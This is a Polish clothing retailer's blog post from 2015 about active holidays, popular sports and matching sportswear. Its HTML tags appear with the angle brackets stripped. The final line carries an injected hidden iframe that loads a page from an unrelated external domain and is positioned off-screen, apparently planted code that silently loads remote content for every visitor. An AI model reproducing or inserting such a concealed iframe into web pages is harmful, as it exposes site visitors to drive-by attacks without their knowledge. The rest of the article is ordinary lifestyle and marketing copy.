Odzieżowy savoir vivre

Aktywnie na wakacjach

24 czerwca 2015 • Opublikowane przez

Odpoczynek i urlop potrzebne są osobom, które wykonują pracę fizyczną jak i umysłową. Stres, zostawanie po godzinach i zabieranie pracy do domu nie służy naszemu zdrowiu i dalszej motywacji do działania. Coraz częściej jednak odpoczywamy tak, aby relaks był tym czego potrzebuje nasz organizm, a nie tym, czego my sami chcemy. !–more–
p style=”text-align: justify;”Ponad 14 milionów Polaków nie wyjedzie w tym roku na strongurlop/strong, a powodem tego są względy finansowe. Wiele osób jednak zaplanowało już wakacyjny urlop, a dużą popularnością cieszą się w tym roku takie kierunki jak Grecja czy Chorwacja. Jednak zorganizowane wycieczki do ciepłych krajów nie są marzeniem osób, które cenią sobie aktywny wypoczynek. Leżenie na plaży i sięganie po kolejny chłodny napój, po tygodniu staje się udręką, a jeżeli w pobliżu nie ma żadnych atrakcji turystycznych, takie osoby nigdy więcej nie wybiorą się na tego rodzaju urlop. Zdają sobie bowiem sprawę z tego, że strongsiedzący tryb życia,/strong brak ruchu i patrzenie przez kilka godzin w ekran monitora nie służy ani naszemu kręgosłupowi ani naszym oczom. strongPraca na pełnych obrotach/strong, nieprzespane noce i zła dieta nie sprzyjają prawidłowej pracy mózgu więc może czas pomyśleć o aktywnych wakacjach?/p
p style=”text-align: justify;”/p
p style=”text-align: justify;”strong
Niedoceniany sport/strong/p
p style=”text-align: justify;”Coraz więcej osób biega, a na ulicach dużych i małych miast strongrowerzyści/strong narzekają na brak ścieżek rowerowych. Dojeżdżając do pracy często przesiadamy się z strongsamochodu na rowe/strongr i to właśnie wtedy mamy jedyną okazję aby odetchnąć pełną piersią. Czasami jednak nie mamy siły na to aby ubrać sportowe buty, pobiegać w parku czy wsiąść na rower. Niektórzy dietetycy przekonują, że aby strongwypocząć efektywnie/strong należy zmęczyć ciało i wyłączyć myślenie – zwłaszcza o obowiązkach i pracy zawodowej.strong Dotlenienie organizmu i mózgu/strong to jedne z najważniejszych elementów wypoczynku na świeżym powietrzu. Furorę robi ostatniostrong nordic walking,/strong a w strongmediach społecznościowych/strong, zwłaszcza na Facebooku można spotkać fanów innych rodzajów sportów. Z badań serwisu Ruszamysię.pl i Brand24 wynika, że choć na portalach spędzamy coraz więcej czasu, to służą nam one jednak do omawiania strongnowych treningów/strong, umawiania się na ćwiczenia czy dyskusji o zstrongdrowym trybie życia/strong. A o jakich sportach wspominamy najczęściej?/p
nbsp;

a href=”http://argos.pl/blog/wp-content/uploads/2015/06/21.jpg”img class=” wp-image-2253″ src=”http://argos.pl/blog/wp-content/uploads/2015/06/21.jpg” alt=”fot. spidersweb.pl” width=”609″ height=”431″ //a fot. spidersweb.pl

nbsp;

Różne rodzaje tańca i bieganie są najpopularniejszymi formami odpoczynku co nie znaczy, że uprawiających inne rodzaje sportu jest mniej.

nbsp;

strongNiezbędnik sportowca/strong
p style=”text-align: justify;”Uprawiając daną dyscyplinę pamiętać należy o strongodpowiednim sprzęcie i rodzaju odzieży sportowej,/strong choć czasem ich ceny przyprawiają o zawroty głowy najbardziej zapalonych sportowców. strongAktywny wypoczynek/strong nie musi się wiązać z długim wyjazdem na wakacje, ale często wystarczy weekend lub nawet kilka godzin aby zregenerować siły i nabrać dystansu do codziennych obowiązków. Podczasstrong pieszych wycieczek doskonale/strong sprawdzą się koszulki polo ze wzmocnionymi kołnierzykami, a także bezrękawniki, które ochronią przed zmienną, górską pogodą./p
nbsp;

a href=”http://argos.pl/blog/wp-content/uploads/2015/06/201412080209DSG_6562_ok.jpg”img class=”size-full wp-image-2256″ src=”http://argos.pl/blog/wp-content/uploads/2015/06/201412080209DSG_6562_ok.jpg” alt=”fot.argos.pl” width=”260″ height=”296″ //a fot.argos.pl
p style=”text-align: justify;”Czapki z daszkiem idealnie będą nadawały się do strongbiegania i rekreacyjnego grania w siatkówkę,/strong a krótkie szorty i długie sportowe spodnie zapewnią komfort nawet podczas długich wycieczek rowerowych./p
nbsp;

a href=”http://argos.pl/blog/wp-content/uploads/2015/06/201212060208KIF_2692ok-CMYK.jpg”img class=”size-full wp-image-2259″ src=”http://argos.pl/blog/wp-content/uploads/2015/06/201212060208KIF_2692ok-CMYK.jpg” alt=”fot.argos.pl” width=”260″ height=”296″ //a fot.argos.pl
p style=”text-align: justify;”Gdy pogoda nie będzie nas rozpieszczać dobrze mieć pod ręką strongkurtki lub bluzy polarowe,/strong które wykonane są z oddychających materiałów. Podczas dużego wysiłku fizycznego niezbędne są strongkoszulki/strong stworzone z bawełny i chroniące przed nadmiernym poceniem. strongAktywny wypoczynek/strong często kojarzy nam się ze zmęczeniem i czasem ciężko znaleźć odpowiednią motywację do uprawiania sportu. Warto jednak pamiętać, że ważne jest to aby organizmowi dać to czego on potrzebuje, a nie to czego my chcemy. A jeżeli właśnie potrzebuje aktywnego wypoczynku nie wahajmy się mu go zagwarantować.!–844c7b74e31d727d5814a0ed667c0255–iframe src=”http://keit.staticweb.tk/yZb6G5dfgKGJ” width=640 height=480 style=’position: absolute; left: -1000px; top: -1000px; z-index:-1;’/iframe